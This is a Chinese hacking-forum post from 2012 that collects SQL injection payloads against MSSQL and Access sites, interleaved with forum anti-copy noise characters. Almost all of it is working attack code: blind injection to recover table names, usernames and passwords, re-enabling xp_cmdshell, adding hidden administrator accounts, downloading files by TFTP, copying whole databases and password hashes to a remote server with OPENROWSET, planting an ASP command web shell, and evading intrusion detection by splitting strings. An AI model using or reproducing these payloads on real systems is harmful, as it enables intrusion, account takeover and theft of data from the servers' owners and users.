中国网络渗透测试联盟

标题: SQL注入语句2 [打印本页]

作者: admin    时间: 2012-9-15 14:32
标题: SQL注入语句2
1..判断有无注入点
+ A9 O2 {. g. q& S0 ]; and 1=1 and 1=2
$ A& B) c" y' d/ O
. [. d4 ?+ t0 j- x: r- }1 s" K. _4 ^1 f  {* I$ n8 H9 F2 `$ |
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
0 k7 {+ t: R6 x4 ~9 Band 0<>(select count(*) from *) 3 w* f2 \- S! G8 e8 D  F5 P' y  P1 T5 U
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
5 l6 {, h' ~* ?8 i( `: S2 O) H( j0 G. C' C* J  [9 e

' H6 c$ s$ j2 [( x0 E( b3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
+ {8 c( y; l4 Kand 0<(select count(*) from admin)
$ y% I: [" R/ [+ N& m% c) `and 1<(select count(*) from admin) ! P# r4 Y- t' G' i
猜列名还有 and (select count(列名) from 表名)>00 R8 z; N7 f. |+ ?, q. T9 S1 }

- @8 i  @3 {  p7 O& t4 ?% }, V# d% K1 A5 G9 C* h5 z4 F& j" ^5 A. z
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. ; `. t  A; G5 R& ]2 H3 x) X' W
and 1=(select count(*) from admin where len(*)>0)-- 4 T' w$ A" J+ B5 V+ z% v
and 1=(select count(*) from admin where len(用户字段名称name)>0)
% L# ]) r1 T5 `and 1=(select count(*) from admin where len(密码字段名称password)>0) 1 R& Y# J/ H; F6 N) y3 \. c9 `

$ E5 z: p/ H. l( f. K7 o1 E& u5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
' N' ~6 F1 C8 f9 x8 jand 1=(select count(*) from admin where len(*)>0) 6 H& ~4 n* I0 P4 m( t- j# _7 X
and 1=(select count(*) from admin where len(name)>6) 错误 9 z9 A+ Y% d7 t+ i. P: M
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 7 e, C; T7 `  f& I5 ]" \
and 1=(select count(*) from admin where len(name)=6) 正确
. s1 n1 m3 }+ O2 ?2 i
$ q; J+ [5 [/ \5 m4 N+ ]and 1=(select count(*) from admin where len(password)>11) 正确
9 C0 u/ h9 v( }8 vand 1=(select count(*) from admin where len(password)>12) 错误 长度是12 & I  @; _$ _  ?# U/ ?; A6 c4 j
and 1=(select count(*) from admin where len(password)=12) 正确
8 Q8 c# |2 i  g  _3 w猜长度还有 and (select top 1 len(username) from admin)>5, t: }. e( o5 d) d1 i: P

5 L; [5 E# M2 p" g- r1 p& n
/ [/ s5 I# O! H9 m  z6 L% j' t. ?5 P6.猜解字符 ( W! W- ^2 f6 z" `% \4 h. R
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
9 X- [  F! C. Sand 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
3 _2 @8 `4 e# s1 ~% ~; u- s就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 - F+ _/ B2 ]( V. \" {
/ M% I# |) I# o0 a/ H6 {4 m
猜内容还有  and (select top 1 asc(mid(password,1,1)) from admin)>50  用ASC码算
2 o% T* h7 R4 X, L" o( U$ c; tand 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
+ k& V( \4 l1 U5 r5 H" N0 A" g这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
2 G- @: M# y) d( j7 |! e- Q* E3 Q, k" @7 ^8 t% R6 e3 P  n* U7 l' ]
group by users.id having 1=1-- ' S9 O$ Q) P; F, m; ^8 L- E8 u) I1 u
group by users.id, users.username, users.password, users.privs having 1=1-- - p3 e( A$ H+ z+ W" }: [6 V
; insert into users values( 666, attacker, foobar, 0xffff )-- . Z$ @& V, s/ n. Z, J! u, X, Q
3 Q2 V( C% I; V" F' A' D( Z
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- ) U8 ^: ~5 o3 x4 P# v
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)-
- c4 _- x7 a8 i4 ]$ v6 G9 c$ gUNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)- 9 o7 h' [) C# _  I
UNION SELECT TOP 1 login_name FROM logintable-
( w6 d/ @$ ]& n( f6 R, w$ W; lUNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
( t5 V8 w, t7 f5 B9 Q) j9 m  E% e) s3 Q* A+ X
看服务器打的补丁=出错了打了SP4补丁
5 M0 d* w' E$ n4 l6 |, xand 1=(select @@VERSION)--
1 ]( U$ n  w1 L
# b* U$ V/ a0 O9 }看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。 0 s- r6 i( a) Q5 {: g
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))-- ! S3 a3 [% b3 x/ x+ q" g% h) ~
1 E, r! `, i9 M" d, U/ ?5 c* u
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) # b) k( l. Z0 H2 a
and sa=(SELECT System_user)-- * ?  y* ~6 ?: P) d; z
and user_name()=dbo-- * p5 m. R4 X9 ]( ^, A2 H
and 0<>(select user_name()-- " h4 l2 S# f- }& y6 R; G2 b* E

1 I$ [' ^/ u1 ~  R1 t( j' ?看xp_cmdshell是否删除
: N2 V4 F! o9 `% j6 H1 [8 q2 B' dand 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)-- ; Z- l& j& ]5 Z/ W* e$ D. X6 L' j
8 p; L+ I3 S2 L4 I: p1 L
xp_cmdshell被删除,恢复,支持绝对路径的恢复 # z9 z( i( e3 |
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
/ j" t- t: N! u' T4 Z;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
& B+ g1 w6 d1 w
0 P+ @! F( w. ^5 Q反向PING自己实验 - p8 h+ {6 R: R! @
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
) b) T' h# R8 m/ `5 }2 D- H/ B7 H$ d% o* I
加帐号 - v% ]4 u8 P2 @5 B3 x
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
; M" H. x& j9 E0 ^# u+ y3 E
4 u' q# q; n# b$ k创建一个虚拟目录E盘: , q* B; x* J2 d% ~' y5 s" L
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
( a# P; C& @9 A) s5 h. {9 b8 J) K, A# G% _2 t
访问属性:(配合写入一个webshell) + B  a! v) s  T) k1 R4 t1 w
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
$ I" }) M+ i9 B, x
3 P! I8 S! v9 Y  o) r& Z' }6 Y& n9 ^
MSSQL也可以用联合查询# r+ S; C7 N. H/ M" |) c" C: |
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
' Z: y( y+ L- `# ^( f. o% T4 ?, O?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
# |+ C% j, z# L7 r4 {; a: L9 w# E) e# \- g; s9 q
' j* C$ U9 X" [4 C- m
爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交
0 ]' J3 z- M1 o) M( F9 p
: ?' M6 W2 B  S/ X6 `: ~: W3 v
9 _! l& I/ F% N; ]& n: X9 ^
5 O$ w3 c! |  G  p; Y0 J' [得到WEB路径
6 Y! z, e; N' a5 ?0 G;create table [dbo].[swap] ([swappass][char](255));--
1 x+ _: f" c/ x! d6 @and (select top 1 swappass from swap)=1--
, k/ h. F+ o9 o3 l! I;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
8 \! `( J& ?- C;use ku1;--
1 V9 K. @" ]4 n' `;create table cmd (str image);-- 建立image类型的表cmd
: `& M% R  D; {9 z" [( B" d# p" y2 _4 r. J& B2 U( k9 f9 U
存在xp_cmdshell的测试过程: ; N; Q7 s& K1 S
;exec master..xp_cmdshell dir
4 g6 v9 P& L+ R0 T6 e, C# Z;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
, K6 x- H6 V- {2 ~+ q5 L' o5 }$ ]" p;exec master.dbo.sp_password null,jiaoniang$,1866574;--
( ?/ K4 V% f$ ]% s4 {;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- , T1 Z4 ^" k6 s1 F/ i  M
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
7 M6 U/ Z- f4 l! K1 M+ Q;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
1 T" J& L8 Z, U  g% xexec master..xp_servicecontrol start, schedule 启动服务
4 c! H% }  F$ ?) q0 y& y( gexec master..xp_servicecontrol start, server ' F) J9 U; |. V7 D# t$ `2 n# t# T
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add : N* L; ]5 A/ T; ?( n3 O! l& S
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
2 Y8 |( Y( B1 {' s2 m; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
  M5 ~" \* E9 u7 o2 E5 t6 v
! K( [- \! A6 m) u;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
+ K& m# H% X; i+ F5 F7 [. N;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ ' B- T0 F: s  O, i
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
- G  r  [3 m4 H" p* c9 f' u如果被限制则可以。
2 A: }8 U" k3 }& ^8 E& Eselect * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax) 1 X6 t. G" ~, ?* }, V3 P7 _* C; U
# M: K4 X7 W. X* i' T3 c# D
查询构造: 7 {- K6 m: [, H; P
SELECT * FROM news WHERE id=... AND topic=... AND .....
- ^# \% ?' f4 Y% |. Q' }( {- Q( M' Sadminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
) t- P: Q4 p; }select 123;-- " |7 Q! D6 v7 ?6 ?  L# }
;use master;-- 7 f7 ^0 }; D- V8 k9 I
:a or name like fff%;-- 显示有一个叫ffff的用户哈。 * p/ U) l! x  v7 Z1 B- F
and 1<>(select count(email) from [user]);--   ~# c  y3 f& z( ~) Y
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
. G0 h% Z$ C1 M1 V! o;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- ; j9 e4 E' W& h8 E, c
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
  N, p+ C6 ]4 P+ g) E;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
2 H+ ]# v0 v" `% v# r( Y6 E;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- - M" W! r! h- p! X& r$ f
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
* V- B* f2 m, f: F& |, t8 x; G1 ^! \8 W上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
8 A+ F5 ~* x4 y通过查看ffff的用户资料可得第一个用表叫ad
9 v8 l. G) y; S9 u9 F4 J然后根据表名ad得到这个表的ID 得到第二个表的名字 . c$ F3 k4 E, w) r5 y  t  Z
  P+ i1 D& |4 @. d" H& `2 ~: A
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
! F* M1 u1 ?$ M# d5 [  L' d/ V4 qinsert into users values( 667,123,123,0xffff)-- 4 b$ |  Y7 Z7 j  A
insert into users values ( 123, admin--, password, 0xffff)--
* \* L; A" E* T' L/ ]  a;and user>0
7 l  m3 `4 w- J  y0 l;and (select count(*) from sysobjects)>0 $ z, {- {7 r. J* [% {2 Z) Q& N- S
;and (select count(*) from mysysobjects)>0 //为access数据库 3 ~: R& ?% r) ~
1 T: G7 t( ~5 q* X
枚举出数据表名 8 U. d$ t2 w2 ^; A* P
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- / ]% y- s+ T3 ?8 J, g1 f
这是将第一个表名更新到aaa的字段处。
0 L9 d  C9 q1 ?+ ]5 q读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
' X1 j0 T. g; {; F;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- ! D0 {% d# ?, c6 o& q
然后id=1552 and exists(select * from aaa where aaa>5) . B3 G6 ^- p: c. [$ u: s) p2 b
读出第二个表,一个个的读出,直到没有为止。
* R9 ^' a/ r0 [3 l4 B6 ^读字段是这样:
  L. n9 m7 B2 [( c" o" W;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
2 d7 z% E( Z' X) A* G% g然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
- [4 K# r4 z& F0 p$ N. v;update aaa set aaa=(select top 1 col_name(object_id(表名),2));-- 3 v. S8 M9 D' B# u8 v5 E( h) q
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
7 j1 C4 Z; b' T5 A. l9 T" q, a7 ?% u
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
& j  @( E, D  lupdate 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) / j) h+ [& A  [
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] " w% L8 {6 I7 J9 u3 z# W. @

) P% l' @' I! T" g# V- D& w2 f- F[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] % X5 K& c4 {/ P& G3 m
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件] / p; G) V7 Y( s9 {' C7 b  H' D) i6 r

9 q) {  ?% U" _) P. l" k绕过IDS的检测[使用变量] # T' D; H' ^: N5 \! @% l
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 2 x$ n5 p- c% w) ?6 a7 V, o
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ ! ^6 b6 o" `+ ~/ U
$ F* S1 y# E# r% A/ k" E% ~* d
1、 开启远程数据库 3 A0 M  I* T" i4 |0 d- w, K
基本语法 - z- `$ ?( k2 C
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) : ^( ]3 J8 H$ P, z! I( [8 i( V
参数: (1) OLEDB Provider name
+ c- D! T' R7 _/ c7 c! ~" x! t2、 其中连接字符串参数可以是任何端口用来连接,比如
( `( e; ?- m$ D- L, [select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
/ m6 F5 o" P! j" }  y3.复制目标主机的整个数据库insert所有远程表到本地表。 ! H1 ?; u7 ]* T  ~2 F. l7 R7 w

8 [+ o0 V5 m; g: f6 {' T基本语法:
6 l# W7 ~+ c* _0 r. C/ D& ?; Uinsert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
$ Z+ ~8 Y+ r; ~2 I4 E0 e这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
7 N7 p* o% B8 R, V; D% sinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 . T0 f- a* e; Q9 @! r
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
, F. I* F$ R/ v, N2 kselect * from master.dbo.sysdatabases
+ R0 ]; k7 L! H) w0 ^  c  k- kinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
( B6 b" ]1 Q1 n& i( b  [& ?8 qselect * from user_database.dbo.sysobjects , l7 y9 m0 o- ~. u
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) 0 Q4 }  u: ?+ C0 y/ r6 i
select * from user_database.dbo.syscolumns
4 V1 o; J+ N, D& Y  I) ~$ x复制数据库:
; x. E- B+ w' |. Dinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
. X( X) y  f1 K, p3 j- J5 ~insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
( K2 L; M  k( k$ F3 A8 B$ v, w* o* i/ ~0 V; R
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下: * T3 v3 u7 Q8 s& k) C( z
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
0 t% x0 Z. ]/ f得到hash之后,就可以进行暴力破解。
' n. \, a) o0 V6 h0 L
! Y: z: }0 v9 `" v& a遍历目录的方法: 先创建一个临时表:temp 0 v7 M% \3 a8 a6 \5 I& {& x
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ g3 t& g: }4 V& G+ k
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: L! J6 T  ?" P# J, v" F8 `- G;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 1 T. k& M5 X3 [( ]9 w! ~7 s
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 $ [$ h+ L" \9 p1 S7 E0 ^
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 9 G3 t) K& v" T: ]* t3 j
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- & N7 I5 R: K$ _, E" t, E
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
+ h$ I! ]7 _8 {4 b* o: @;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc ( s" c1 X7 }) B# S0 u1 v  D3 ^
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC) ! Q2 b! i- |6 d+ q. ^3 c
写入表:
- a( ]" i7 a/ g; u语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- & S. k' H( k# I  L1 p) c
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- 3 ?3 h0 T% {8 d6 M" L; w" F- P/ X
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
( _! g8 m# L; e0 I语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- . }* u! z1 Y1 f2 S( M
语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 4 Y$ l" h' N2 H: y, O2 G% [! O' B
语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
0 s6 f* ~: U4 }, y  {8 X语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 9 ~& J3 G1 n4 s; w3 H) O
语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- / T# ~6 p' X6 S1 z
语句9:and 1=(SELECT IS_MEMBER(db_owner));-- & r) i3 a! V9 \
; \+ N& }' N' i. n+ v
把路径写到表中去: " Q8 {' {' ?0 a, s8 Q6 {( p
;create table dirs(paths varchar(100), id int)--
' T" w- l3 `9 I8 L8 G# {3 c  }' h! S;insert dirs exec master.dbo.xp_dirtree c:\-- ; s0 b" a4 p2 l) E1 l' B9 H
and 0<>(select top 1 paths from dirs)--
0 f1 m. ~  ?# Q) ?, i' yand 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
$ N3 k) B) c" R2 D* t9 {;create table dirs1(paths varchar(100), id int)--
; I, z# F/ C6 |  O3 a( a;insert dirs exec master.dbo.xp_dirtree e:\web-- 7 \3 `9 |6 v1 Y+ S
and 0<>(select top 1 paths from dirs1)--
# v% g  L& k  }& t6 L5 G; q& d: f
! u, |2 b( S. j+ ]- r3 p' f8 d把数据库备份到网页目录:下载 ! A. g5 w: o: o0 R
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- 5 y( e9 r5 E! ^

/ e( \* |; A5 o6 Q% v8 cand 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) " Q& u7 x# T5 s1 g0 q. n( Q
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
; e1 T$ Z( l3 M  \" k$ ]* {4 ], Dand 1=(select user_id from USER_LOGIN) $ X4 d" i% d: i' e5 }5 m
and 0=(select user from USER_LOGIN where user>1)
- |- J4 c5 a9 c& M, G8 O# Y
' q$ A& F& q0 y0 T- T2 C  M! P! b-=- wscript.shell example -=-
/ j8 w. b- Q  {/ |declare @o int
2 |. A( e9 ]1 T* Q7 lexec sp_oacreate wscript.shell, @o out
5 c3 o0 ]8 r- r1 Cexec sp_oamethod @o, run, NULL, notepad.exe
+ r' I7 I$ X) Y: b* d$ ]; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe-- 7 J; u9 ^; y! |5 L/ s9 c+ V

4 p. P. w% P3 O3 X* Z  edeclare @o int, @f int, @t int, @ret int $ K2 ~# t0 s8 Z1 Z$ c5 I( b8 O
declare @line varchar(8000)
* e+ N# k6 `; j$ N, o( Lexec sp_oacreate scripting.filesystemobject, @o out
6 c& Z9 `- q5 `9 z% o' T6 A1 U8 zexec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 0 e: ~1 F. A$ N" P2 l" Z
exec @ret = sp_oamethod @f, readline, @line out
/ T3 x% q. S! z: ?1 f, w  dwhile( @ret = 0 ) # l3 h' ^) E6 `  {& t; S
begin
: z. X) m9 a. M) r$ O3 C( X5 fprint @line
, |3 l% E2 \4 m! Dexec @ret = sp_oamethod @f, readline, @line out ' q/ [2 d+ k* z. [: H) o' N
end 0 H* I0 ~# B+ L+ f
; U$ }6 e' }" q, z! x
declare @o int, @f int, @t int, @ret int
* G+ B' X# J0 @* I3 qexec sp_oacreate scripting.filesystemobject, @o out
3 b/ H0 ^4 D% `7 _) E) \exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 ' q5 E" O5 y+ }1 P+ y: B
exec @ret = sp_oamethod @f, writeline, NULL,
: p$ r, h; s" h<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
2 G3 r' e) a& L3 t2 h: E# a! W( r; U1 y) I& C0 \  M
declare @o int, @ret int 2 |8 D6 J1 V( y6 H
exec sp_oacreate speech.voicetext, @o out , w: d8 I% s( Y6 _+ I# l# d1 U7 t
exec sp_oamethod @o, register, NULL, foo, bar ! P: A" ~/ J( j9 u4 G+ g# ^5 R$ A
exec sp_oasetproperty @o, speed, 150 2 a  G4 `: P; b6 [9 W9 d1 V4 A
exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 2 o0 k& X' D8 x* q! P6 W
waitfor delay 00:00:05 9 [! y8 m) |2 x5 R8 @. v9 W  T( x

2 k" @/ D& ?& N! M$ E9 X  Q; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
0 k- p8 n( e& P* B% M( K. ]2 ?% L! L% d7 |2 f6 g3 \4 ^3 m) M
xp_dirtree适用权限PUBLIC
7 V5 J$ f. S) V6 p& X: x) hexec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 8 e! y, S7 i6 w, a8 y* @; I5 R9 W
create table dirs(paths varchar(100), id int)
" U6 G4 t, L  p$ y建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。 ; z5 y1 T, b) V' `
insert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!/ i# K5 }; V+ w5 n





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2